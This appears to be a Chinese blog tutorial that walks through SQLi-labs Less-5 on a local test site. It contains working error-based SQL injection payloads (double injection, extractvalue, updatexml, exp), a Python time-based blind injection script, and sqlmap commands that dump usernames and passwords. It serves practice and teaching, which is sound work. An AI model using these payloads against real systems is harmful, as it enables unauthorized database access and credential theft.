
刷 SQLilabs 的人通常会在前四关体验从注入到拿数据的快感然后在 less-5 卡一下。这一关标题是 Double Injection双注入页面无论怎么打都只回一句 You are in...........联合注入的那套直接失效。我第一次刷到这儿心里一串问号id1 union select 1,2,3--明明没有语法错误为什么什么都没显示后来才意识到less-5 根本不给你回显位它考的是另一个更刁钻的思路——让数据库自己把答案通过报错信息吐出来。这篇文章就是我的完整刷关笔记从环境准备、源码分析、原理拆解到手工注入和自动化验证都过一遍希望能帮到正在单引号、注释符、双注入之间反复横跳的你。1. 刷题前的环境准备为什么我推荐 PHP 5.x MySQL 5.x1.1 SQLilabs 是老古董高版本环境容易翻车SQLilabs 对新手最友好的地方在于它把注入场景拆成一个个有编号的 PHP 页面Less-5 用的还是 PHP 5/MySQL 5 时代非常经典的数据库访问写法很多早期版本直接就是mysql_query()这一代接口。PHP 7 开始把mysql_*系列函数整个移除了你用新版 PHP 跑这套靶场经常会在第一步就碰到函数未定义导致页面白屏绕半天都进不了注入环节。我用 phpStudy 建了个本地环境PHP 选 5.6MySQL 选 5.5 或 5.7这是最接近靶场作者设计年代的组合。报错格式、双注入的触发表现都很稳定。如果你手头已经跑通了可以跳过这一节但卡在环境问题上的同学建议先调环境再做题。另一个容易被忽略的点是 MySQL 版本。MySQL 8.0 改了太多行为分组逻辑、sql_mode、报错文案都不一样了经典的count(*)floor(rand(0)*2)双注入在 MySQL 8 上表现很不稳定。学这个靶场本来就是为了理解老一代注入原理没必要在 MySQL 8 上跟数据库较劲。最省事的选择就是PHP 5.6 MySQL 5.5 或 5.7装完直接开刷。1.2 从源码看 less-5 的页面逻辑永远只有一句 You are in我一直觉得刷靶场之前先看一眼源码比盲打一百个 payload 都管用。less-5 的核心逻辑大致长这样$sql SELECT * FROM users WHERE id$id LIMIT 0,1; $result mysql_query($sql); $row mysql_fetch_array($result); if ($row) { echo You are in...........; } else { print_r(mysql_error()); echo You are in...........; }细节不同版本可能有点出入但关键逻辑就是无论查询成功还是失败页面最终都会输出一句 You are in...........区别在于 else 分支里多了一个print_r(mysql_error())。也就是说只有当 SQL 语句本身出错时页面才会把 MySQL 的错误信息打印出来。理解了这一点就明白了less-5 的输出点是报错信息不是查询结果。它的关卡意图不是让你拼接查询而是让你想办法构造出一个会报错、但报错内容包含你要的查询结果的 SQL。很多新手卡在 less-5就是没绕过页面没有输出就是没有注入点这个思维定式。实际这一关的页面输出是固定的真正的信息通道藏在数据库错误里。2. 试探注入点单引号、注释符与闭合方式判定2.1 一轮手测操作确认字符型注入不管哪一关拿到 URL 第一件事都是测注入点。我用的是最基本的四连http://127.0.0.1/sqli-labs/Less-5/?id1 http://127.0.0.1/sqli-labs/Less-5/?id1 http://127.0.0.1/sqli-labs/Less-5/?id1 -- http://127.0.0.1/sqli-labs/Less-5/?id1 and 11 --id1正常输出 You are inid1直接报语法错误id1 --又恢复正常。到这里基本可以判断这是一个单引号闭合的字符型注入。因为多出来的单引号让 SQL 变成WHERE id1 LIMIT 0,1字符串语法坏了而加上--把后面的内容注释掉之后SQL 变成WHERE id1一切正常。对比一下前几关就知道less-5 的闭合方式跟 less-1 是一样的都是单引号字符型区别完全在显示层逻辑。这也是我建议新手按顺序刷的原因同一个注入点可以有完全不同的利用方式关卡设计就是在反复训练你对注入点类型和显示逻辑这两个维度的敏感度。2.2 -- 与 %23 的注释符细节很多人会在这里遇到第一个小坑为什么注释要用--而不是直接写--因为在 MySQL 里--注释符后面至少要跟一个空白字符才是合法注释。如果直接写--后面的单引号或 LIMIT 会被当成普通 SQL 内容达不到注释效果。在 URL 的 query 参数里加号会被解码成空格所以--实际传过去就是--。如果不想依赖加号也可以写--%20或者干脆用%23即#注释符。我个人的习惯是URL 里用--数据包 POST 里用--或%23都能减少踩坑。这个看起来很小的点写自动化脚本的时候会被无限放大值得一开始就养成好习惯。2.3 从报错尾巴反推原始 SQL 结构id1的报错信息很有用。仔细看报错末尾通常长这样You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 LIMIT 0,1 at line 1报错里直接暴露了LIMIT 0,1这一截。这相当于数据库把原始 SQL 的尾巴替我们打印出来了。所以可以推断完整 SQL 大概是SELECT * FROM users WHERE id$id LIMIT 0,1。知道了查询结构后续构造 payload 就有的放矢——你不再是在黑盒里乱试而是在明确知道 SQL 上下文的情况下做闭合和拼接。不同关卡的闭合方式可以快速做一个对比关卡闭合方式典型判断 payloadless-1单引号字符型id1 --正常less-2数字型id1 --正常less-3单引号加括号id1) --正常less-4双引号加括号id1) --正常less-5单引号字符型id1 --正常但无回显这张表是我反复刷前五关之后总结出来的。闭合方式判定是 SQLilabs 前半段的核心训练目标less-5 选的是最经典的纯单引号算是给后面更复杂的关卡的温柔铺垫。3. 联合注入失灵之后双注入的报错原理拆解3.1 为什么 union select 打不出数据前几关用 union 注入太顺手了以至于到了 less-5 我第一反应还是id1 union select 1,2,3--。结果页面依然只回一句 You are in。这里要搞清楚为什么union 注入能起作用前提是页面代码会把查询结果的字段打印到网页上比如 less-1 里直接把 username 和 password 输出出来。而 less-5 的源码里根本没有输出查询结果的逻辑只判断$row是否存在存在就打印固定文本。所以哪怕你的 union 查询已经把1,2,3都查出来了也没有任何代码去渲染它。换句话说less-5 这个无回显的局面是代码逻辑决定的不是你的 payload 有问题。既然后门是只有 SQL 出错时才打印错误信息那思路就要转向让数据库在执行过程中出错并且让错误信息携带目标数据。3.2 count(*) floor(rand(0)*2) group by 的碰撞魔法最常见的正确姿势就是双注入。先看最经典的 payloadid1 AND (select 1 from(select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)--页面出现报错ERROR: 1062 (23000): Duplicate entry security1 for key group_key这里的security就是select database()查出来的库名实现了从报错里读数据。原理说白了有三步information_schema.tables是一个数据量足够大的表所有库的所有表信息都在里面把它作为行数提供者。行数越多下面要触发的碰撞概率越高。对每一行计算concat((select database()), floor(rand(0)*2))得到一个看起来随机的值命名为 x然后group by x。数据库在执行 group by 时会在内部临时表里维护每个分组键的唯一索引用来做计数。由于floor(rand(0)*2)这个随机数列在足够多行里头会出现重复值导致分组合并时有两个 x 完全相同临时表发现这个 key 已经有了于是抛出 Duplicate entry 唯一键冲突。报错信息会把冲突的 key 原样打出来——这个 key 恰恰是concat()的结果里面就含着我们想要的子查询数据。打个比方group by 的临时表就像一本打卡册每遇到一个新的 x 就开一个新页面遇到已存在的 x 就划一笔计数。双注入的关键是让 x 的值里藏着目标数据当重复发生时数据库会把这个值原样喊出来于是数据就到手了。一句话总结双注入的核心不是两条查询而是利用 group by 的临时表唯一索引把自定义字符串塞进报错信息里。3.3 为什么一定是 rand(0)带种子随机数的确定性经常有人问为什么不是floor(rand()*2)区别在于种子。rand()不传参时每次执行的序列都不一样不可控运气差的时候可能一直不产生重复值报错自然也不出现。rand(0)传了固定种子 0MySQL 每次生成的随机序列是确定的。可以验证floor(rand(0)*2)的前几项是 0、1、1、0、1、0、0、1……也就是说只要表的行数超过 4 行左右就一定会出现两个相同的分组键触发 Duplicate entry。这个确定性就是双注入能手测成功的前提。如果想让碰撞更早发生就把行数提供表换成记录更多的表比如information_schema.columns通常比information_schema.tables行数更多手感上会更稳。4. 手工注入全流程从库名一路查到密码4.1 查库名库名最好查把select database()塞进子查询就行id1 AND (select 1 from(select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)--报错Duplicate entry security1 for key group_key库名是security。每次看到这个输出都要提醒自己报错里的security1是concat(库名, 随机数)拼出来的后面的 1 只是随机数真正有用的数据库名是前面的security。4.2 查表名接下来在security库里查表名。information_schema.tables记录所有库的表所以需要加条件table_schemasecurity再用 limit 一页一页翻id1 AND (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schemasecurity limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--一个 limit 位置对应一个表。依次把 limit 改成 0,1 / 1,1 / 2,1 / 3,1 / 4,1就能把库里的表名一个个拉出来emails referers uagents users翻到users的时候基本就能确定关键数据在 users 表里了。这里建议按顺序记录别跳着看否则表名顺序容易混淆后面查字段的时候还要靠库名和表名做条件。4.3 查字段查字段信息要去information_schema.columns加两个条件锁库锁表id1 AND (select 1 from(select count(*),concat((select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--依然用 limit 翻页。users 表的字段是id、username、password。这个表结构跟前面几关是共通的如果之前刷过 less-1 到 less-4到这里应该很眼熟。4.4 查数据有了库、表、字段最后一步就是取数据。把要取的字段用concat_ws(0x7e, ...)拼起来0x7e 就是波浪号~用来做分隔避免输出连成一片看不清id1 AND (select 1 from(select count(*),concat((select concat_ws(0x7e,username,password) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--报错输出Duplicate entry Dumb~Dumb1 for key group_key说明第一个用户的用户名和密码都是Dumb。继续调 limit 逐条取前几个用户大致是这样的序号usernamepassword1DumbDumb2AngelinaI-kill-you3Dummypssword4securecrappy5stupidstupidity4.5 payload 不稳定时的调整技巧双注入 payload 偶尔会翻车页面没有报错或者报错里看不到完整数据。我的处理方法是第一把目标子查询尽量放在concat的第一个位置因为报错信息有长度限制靠前的部分更容易完整出现。第二多刷新几次rand(0)虽然序列固定但在个别 MySQL 版本下首次执行可能不会立刻碰撞重试一两次基本都能稳定触发。第三如果拿到的数据被截断就把目标查询用substr()分段一次取一小段比如substr((select database()),1,8)和substr((select database()),9,8)这样拆开取。这些是原理之外的经验。双注入其实就是个概率 结构的游戏理解了临时表碰撞机制剩下的就是怎么把 payload 写得短、写得稳。5. 报错注入的其它姿势extractvalue / updatexml / exp5.1 extractvalue 与 updatexmlXML 函数当信使除了经典双注入less-5 上还能用 MySQL 的 XML 函数做报错注入写法更短。比如id1 AND extractvalue(1, concat(0x7e,(select database()),0x7e))--页面报错XPATH syntax error: ~security~extractvalue 是 MySQL 5.1.5 之后提供的 XML 提取函数第一个参数是 XML 片段第二个参数是 XPath 表达式。当我们传给它一个非法 XPath比如~security~MySQL 就会把整个参数内容原样带进报错信息里。updatexml 的用法几乎一模一样id1 AND updatexml(1, concat(0x7e,(select database()),0x7e),1)--区别只是把 extractvalue 换成 updatexml报错同样会把第二个参数回显。需要注意的是这两个函数返回 XPath 报错时输出长度一般限制在 32 字符左右所以取长数据时得配合substr()分段31 个字符一片地切。前面手工流程里如果数据一长就看不到完整结果就是这个原因。5.2 exp 整数溢出报错靠数学函数把答案带出来exp 的玩法更刁钻。exp 是指数函数给它一个大数会溢出报错我们先用取反符号~把查询结果变成一个大负数再丢进 exp 里id1 AND exp(~(select * from(select database())s))--报错大致是DOUBLE value is out of range, fix exp(~((select security from dual)))报错信息里同样带着查询结果。这个姿势不需要 XML 函数也不需要 group by 临时表纯粹是利用数学溢出的错误回显属于报错注入里比较狠的一招。不过它在 MySQL 8 上的表现一般老版本 MySQL 用起来更顺利也再次印证了前面说的环境选 5.x 的建议。5.3 三种姿势与双注入的取舍对比来看extractvalue / updatexml 是最高效的payload 短、报错清晰、稳定性好双注入虽然写法繁琐但它不依赖任何高版本专用函数理解的是分组临时表的底层机制exp 更多是背靠数学函数玩的奇技淫巧。我刷 less-5 的建议是正式解题用双注入把整套流程走一遍理解原理然后顺手把 extractvalue 和 exp 也试一遍知道还有哪些武器。这样以后遇到只允许某种报错方式的特殊场景时你手里有三张牌可以打。面试或者比赛的时候短 payload 往往意味着更少出错而双注入则是你理解深度的重要证据。6. 当报错被前端吞掉时间盲注与布尔条件兜底6.1 时间盲注sleep() 作为0/1 电码实际项目中很多网站会把 MySQL 的错误信息统一关掉只显示 500 页面。那种情况下双注入和 extractvalue 全都没戏剩下的两条路是盲注。less-5 虽然本身会回显错误但练手时可以顺带把盲注也练了。时间盲注的核心是让查询结果通过是否 sleep来传递id1 AND if(ascii(substr((select database()),1,1))115,sleep(2),0)--如果当前库名的第一个字符 ASCII 码确实是 115也就是字母 s页面会卡 2 秒否则立即返回。于是你只需要把每个字符的位置和取值一个个试过去就能拼出完整数据。实际操作中推荐用二分法而不是从 a 到 z 逐字符试效率完全不在一个量级。6.2 用是否报错构造布尔条件less-5 的页面文本在真假条件下是一样的因为源码里 if 和 else 最后都输出 You are in所以靠页面文字不同的经典布尔盲注行不通。但我们还有另一条路把条件塞进一个为假时必报错的表达式里。比如id1 AND if((select database())security,1,(select 1 union select 2))--(select 1 union select 2)会产生两个结果的行放在标量子查询的位置会让 MySQL 直接报错。于是条件为真页面没有红色错误条件为假页面出现错误信息。这样就把 less-5 变成了一个可以通过有没有报错来判断真假的布尔信道本质上和布尔盲注一样用。6.3 二分法脚本把手工盲注变成半自动化手工用 Burp 逐个字符猜太累了推荐直接写一个简短的 Python 脚本。以下脚本只用于本地靶场练习环境import requests import time url http://127.0.0.1/sqli-labs/Less-5/ result for i in range(1, 21): left, right 32, 126 while left right: mid (left right) // 2 payload f1 AND if(ascii(substr((select database()),{i},1)){mid},sleep(1),0)-- start time.time() requests.get(url, params{id: payload}) elapsed time.time() - start if elapsed 0.8: left mid 1 else: right mid result chr(left) print(result)把select database()替换成别的目标查询就能自动测出一个个字符。阈值 0.8 是经验值如果你的网络延迟稳定也可以调低到 0.5。跑起来之后控制台会打印 s、se、sec、secur、security 这样逐字符增长的过程看着还挺有成就感。跑通之后报错注入和盲注其实可以互相验证——一个给精确答案一个给逐字符答案两边对上才算真理解。7. sqlmap 自动验证以及刷完这关的防坑清单7.1 sqlmap 三板斧命令手工跑通之后我一般会再用 sqlmap 过一遍主要目的不是图快而是验证自己的理解和工具的判定是否一致。less-5 可以直接这样跑sqlmap -u http://127.0.0.1/sqli-labs/Less-5/?id1 --batch --dbs拿到库名后指定 security 库继续拉表sqlmap -u http://127.0.0.1/sqli-labs/Less-5/?id1 --batch -D security --tables最后直接 dump 数据sqlmap -u http://127.0.0.1/sqli-labs/Less-5/?id1 --batch -D security -T users --dumpsqlmap 的--technique参数也值得学一下less-5 可以指定--techniqueE纯报错注入、--techniqueT时间盲注或--techniqueB布尔盲注这样能看到它对不同通道的判定结果。如果只想练报错注入就跑--techniqueE --dbs。7.2 手工结果与自动化结果的互相验证我刷靶场有个习惯手工得到一个结果sqlmap 跑出来的结果一定要对得上才继续下一关。比如手工查到库名 security、表名 users、第一条数据 Dumb/Dumbsqlmap dump 出来的 users 表第一条也必须是 Dumb/Dumb。sqlmap 检测时通常会输出类似这样的信息Parameter: id (GET) Type: error-based Title: MySQL 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)这说明工具识别的也是报错注入通道。这种双向验证虽然多花几分钟但它能很直接地判断你对注入点和闭合方式的理解是不是真的到位。很多同学工具一跑导出一堆数据感觉自己会了可一旦换一个不方便用 sqlmap 的环境立刻抓瞎。手工流程那套双注入的原理才是真正长在身上的技能。7.3 我踩过的几个坑建议你绕着走最后按照惯例把这次刷 less-5 遇到的坑集中记一下环境坑PHP 7 跑老版本 SQLilabs 会直接函数报错MySQL 8 上双注入大概率不触发。老老实实用 PHP 5.6 MySQL 5.5/5.7 组合。注释坑URL 里--才等于注释符后面带空格直接写--容易被 SQL 语义吃掉。改用%23也可以。长度坑extractvalue / updatexml 报错信息大约只显示 32 个字符长数据必须substr()分段取。双注入不稳定坑偶尔不报错多刷新几次或把行数提供表换成记录更多的表比如information_schema.columns碰撞概率更高。安全边界以上所有操作都请严格限制在本地靶场和自有环境里。拿到测试授权之后再对授权目标使用同样的思路。SQLilabs 这个项目就是给大家安全练手用的不要迁移到未授权的站点上去。